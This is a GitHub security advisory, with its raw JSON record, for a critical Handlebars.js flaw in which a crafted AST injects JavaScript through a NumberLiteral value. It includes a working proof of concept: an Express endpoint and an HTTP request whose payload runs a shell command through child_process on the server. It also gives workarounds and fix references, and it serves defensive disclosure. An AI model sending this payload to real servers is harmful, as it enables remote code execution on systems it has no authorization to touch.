GHSA-2W6W-674Q-4C4Q

Vulnerability from github – Published: 2026-03-27 18:19 – Updated: 2026-03-27 21:52
VLAI
Summary
Handlebars.js has JavaScript Injection via AST Type Confusion
Details

Summary

Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:

// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;

Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.

Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.

Proof of Concept

Server-side Express application that passes req.body.text to Handlebars.compile():

import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  let text = req.body.text;
  let template = Handlebars.compile(text);
  let result = template();
  res.send(result);
});

app.listen(2123);

POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123

{
  "text": {
    "type": "Program",
    "body": [
      {
        "type": "MustacheStatement",
        "path": {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": ["lookup"],
          "original": "lookup",
          "loc": null
        },
        "params": [
          {
            "type": "PathExpression",
            "data": false,
            "depth": 0,
            "parts": [],
            "original": "this",
            "loc": null
          },
          {
            "type": "NumberLiteral",
            "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
            "original": 1,
            "loc": null
          }
        ],
        "escaped": true,
        "strip": { "open": false, "close": false },
        "loc": null
      }
    ]
  }
}

The response body will contain the output of the id command executed on the server.

Workarounds

  • Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value. javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); }
  • Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33937"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:19:58Z",
    "nvd_published_at": "2026-03-27T21:17:27Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n  let text = req.body.text;\n  let template = Handlebars.compile(text);\n  let result = template();\n  res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"body\": [\n      {\n        \"type\": \"MustacheStatement\",\n        \"path\": {\n          \"type\": \"PathExpression\",\n          \"data\": false,\n          \"depth\": 0,\n          \"parts\": [\"lookup\"],\n          \"original\": \"lookup\",\n          \"loc\": null\n        },\n        \"params\": [\n          {\n            \"type\": \"PathExpression\",\n            \"data\": false,\n            \"depth\": 0,\n            \"parts\": [],\n            \"original\": \"this\",\n            \"loc\": null\n          },\n          {\n            \"type\": \"NumberLiteral\",\n            \"value\": \"{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //\",\n            \"original\": 1,\n            \"loc\": null\n          }\n        ],\n        \"escaped\": true,\n        \"strip\": { \"open\": false, \"close\": false },\n        \"loc\": null\n      }\n    ]\n  }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== \u0027string\u0027) {\n    throw new TypeError(\u0027Template must be a string\u0027);\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.",
  "id": "GHSA-2w6w-674q-4c4q",
  "modified": "2026-03-27T21:52:17Z",
  "published": "2026-03-27T18:19:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has JavaScript Injection via AST Type Confusion"
}


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